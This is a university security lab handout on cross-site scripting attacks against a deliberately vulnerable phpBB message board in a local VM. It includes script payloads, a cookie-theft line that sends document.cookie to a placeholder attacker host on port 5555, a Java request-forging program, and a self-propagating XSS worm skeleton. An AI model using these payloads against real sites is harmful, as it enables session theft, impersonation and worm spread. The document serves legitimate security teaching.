Cross-Site Scripting (XSS) Attack Lab

1 Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based message board using `phpBB`. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers' goal is to post forged messages for the victims.

2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the `phpBB` message board web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
    % sudo apache2ctl start
or
    % sudo service apache2 start
```

The `phpBB` Web Application. The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `phpBB` server. The password information can be obtained from the posts on the front page. You can access the `phpBB` server using the following URL (the apache server needs to be started first):

```
http://www.xsslabphpbb.com
```

Configuring DNS. This URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name (`www.xsslabphpbb.com`) to the virtual machine's local IP address (`127.0.0.1`). You may map any domain name to a particular IP address using the `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts` file:

```
127.0.0.1       www.example.com
```

Therefore, if your web server and browser are running on two different machines, you need to modify the `/etc/hosts` file on the browser's machine accordingly to map `www.xsslabphpbb.com` to the web server's IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory "`/etc/apache2/sites-available`" contains the necessary directives for the configuration:

1. The directive "`NameVirtualHost *`" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever necessary, we provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages. The C program can be downloaded from the web site for this lab.

Note for Instructors

This lab may be conducted in a supervised lab environment. In such a case, the instructor may provide the following background information to the students prior to doing the lab:

1. How to use the virtual machine, Firefox web browser, and the `LiveHttpHeaders` extension.
2. Basics of JavaScript and `XMLHttpRequest` object.
3. A brief overview of the tasks.
4. How to use the C program that listens on a port.
5. How to write a java program to send a HTTP message post.

3 Lab Tasks

3.1 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

```
<script>alert('XSS');</script>
```

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

3.2 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user's cookies will be printed out. For instance, consider the following message that contains a JavaScript code:

```
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
```

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

3.3 Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malcious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert a `<img>` tag with `src` set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker's machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program will be given to you (available on the web site of this lab).

```
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='
                        + escape(document.cookie) + '   >'); </script>
This script is to test XSS.  Thanks.
```

3.4 Task 4: Impersonating the Victim using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the phpBB web server, including posting a new message in the victim's name, delete the victim's post, etc. In this task, we will write a program to forge a message post on behalf of the victim.

To forge a message post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what are sent to the server when a user posts a message. Firefox's LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the the parameters of the message. A screen shot of LiveHTTPHeaders is given in Figure1. The LiveHTTPHeaders extension can be downloaded from http://livehttpheaders.mozdev.org/, and it is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for message posting looks like, we can write a Java program to send out the same HTTP request. The phpBB server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters correctly, the server will accept and process the message-posting HTTP request. To simplify your task, we provide you with a sample java program that does the following:

1. Opens a connection to web server.
2. Sets the necessary HTTP header information.
3. Sends the request to web server.
4. Gets the response from web server.

```
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {

   public static void main(String[] args) throws IOException {
   try {
        int responseCode;
        InputStream responseIn=null;

        // URL to be forged.
        URL url = new URL ("http://www.xsslabphpbb.com/profile.php");

        // URLConnection instance is created to further parameterize a
        // resource request past what the state members of URL instance
        // can represent.
        URLConnection urlConn = url.openConnection();
        if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
        }
```

```
        // addRequestProperty method is used to add HTTP Header Information.
        // Here we add User-Agent HTTP header to the forged HTTP packet.
        urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

        //HTTP Post Data which includes the information to be sent to the server.
        String data="username=admin&seed=admin%40seed.com";

        // DoOutput flag of URL Connection should be set to true
        // to send HTTP POST message.
        urlConn.setDoOutput(true);

        // OutputStreamWriter is used to write the HTTP POST data
        // to the url connection.
        OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
        wr.write(data);
        wr.flush();

        // HttpURLConnection a subclass of URLConnection is returned by
        // url.openConnection() since the url  is an http request.
        if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                // Contacts the web server and gets the status code from
                // HTTP Response message.
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);

                // HTTP status code HTTP_OK means the response was
                // received sucessfully.
                if (responseCode == HttpURLConnection.HTTP_OK) {

                        // Get the input stream from url connection object.
                        responseIn = urlConn.getInputStream();

                        // Create an instance for BufferedReader
                        // to read the response line by line.
                        BufferedReader buf_inp = new BufferedReader(
                                        new InputStreamReader(responseIn));
                        String inputLine;
                        while((inputLine = buf_inp.readLine())!=null) {
                                System.out.println(inputLine);
                        }
                }
        }
     } catch (MalformedURLException e) {
                e.printStackTrace();
     }
   }
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`
- Java Protocol Handler:
  `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

Limitation: The forged message post should be generated from the same virtual machine i.e. the victim (user connected to the web forum) and the attacker (one who generates a forged message post) should be on the same machine because `phpBB` uses IP address and the cookies for session management. If the attacker generates the forged message post from a different machine, the IP address of the forged packet and the victim's IP address would differ and hence the forged message post would be rejected by the `phpBB` server, despite the fact that the forged message carries the correct cookie information.

3.5 Task 5: Writing an XSS Worm

In the previous task, we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim's browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a *cross-site scripting worm*. For this web application, the worm program should do the following:

1. Retrieve the session ID of the user using JavaScript.
2. Forge a HTTP post request to post a message using the session ID.

There are two common types of HTTP requests, one is HTTP `GET` request, and the other is HTTP `POST` request. These two types of HTTP requests differ in how they send the contents of the request to the server. In `phpBB`, the request for posting a message uses HTTP `POST` request. We can use the `XMLHttpRequest` object to send HTTP `GET` and `POST` requests for web applications. `XMLHttpRequest` can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly enforced for `XMLHttpRequest`. This is not an issue for us, because we do want to use `XMLHttpRequest` to send a forged HTTP `POST` request back to the `phpBB` server. To learn how to use `XMLHttpRequest`, you can study these cited documents [1,2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions:

You may also need to debug your JavaScript code. `Firebug` is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. `FireBug` can be downloaded from https://addons.mozilla.org/en-US/firefox/addon/1843. It is already installed in our pre-built `Ubuntu` VM image.

Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to the `phpBB` message board, you need to remove all the comments, extra space, and new-line characters.

```
<script>
var Ajax=null;

// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


// Construct the content. The format of the content can be  learned
```

```
//   from LiveHttpHeader. All we need to fill is subject, message, and sid.
var content="subject=" + "XSSWorm" + ...; // You need to fill in the details.

// Send the HTTP POST request.
Ajax.send(content);
</script>
```

To make our worm work, we should pay attention to how the session id information is used by phpBB. From the output of the LiveHTTPHeaders extension, we can notice that sid appears twice in the message-posting request. One is in the cookie section (it is called phpbb2mysql_sid). Therefore, the HTTP POST request sent out by XMLHttpRequest must also include the cookie. We already did it for you in the above skeleton code.

If we look carefully at the LiveHTTPHeaders output, we can see that the same session id also appears in the line that starts with "subject=". The phpBB server uses the session id here to prevent another type of attack (i.e. the cross-site request forgery attack). In our forged message-posting request, we also need to add this session id information; the value of this session id is exactly the same as that in phpbb2mysql_sid. Without this session id in the request, the request will be discarded by the server.

In order to retrieve the sid information from the cookie, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

3.6 Task 6: Writing a Self-Propagating XSS Worm

The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:

1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

   ```
   <script id=worm>
      var strCode = document.getElementById("worm");
      alert(strCode.innerHTML);
   </script>
   ```

2. **URL Encoding :** All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages to be posted in the phpBB forum should be encoded using URL encoding. The escape function can be used to URL encode a string. An example of using the encode function is given below.

   ```
   <script>
     var strSample = "Hello World";
     var urlEncSample = escape(strSample);
     alert(urlEncSample);
   </script>
   ```

3. Under the URL encoding scheme the "+" symbol is used to denote space. In JavaScript programs, "+" is used for both arithmetic operations and string concatenation operations. To avoid this ambiguity, you may use the `concat` function for string concatenation, and avoid using addition. For the worm code in the exercise, you don't have to use additions. If you do have to add a number (e.g a+5), you can use subtraction (e.g a-(-5)).

4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, `Wireshark`, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] AJAX for n00bs. Available at the following URL:
`http://www.hunlock.com/blogs/AJAX_for_n00bs`.

[2] AJAX POST-It Notes. Available at the following URL:
`http://www.hunlock.com/blogs/AJAX_POST-It_Notes`.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:
`http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial`.

[4] The Complete Javascript Strings Reference. Available at the following URL:
`http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`.

```
http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 376
subject=<Content of the message>



HTTP/1.x 200 OK
Date: Thu, 11 Jun 2009 19:43:15 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/
Set-Cookie: phpbb2mysql_sid=YYYYYYYY; path=/
Set-Cookie: phpbb2mysql_t=XXXXXXXXXX; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3904
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
```

Figure 1: Screenshot of `LiveHTTPHeaders` Extension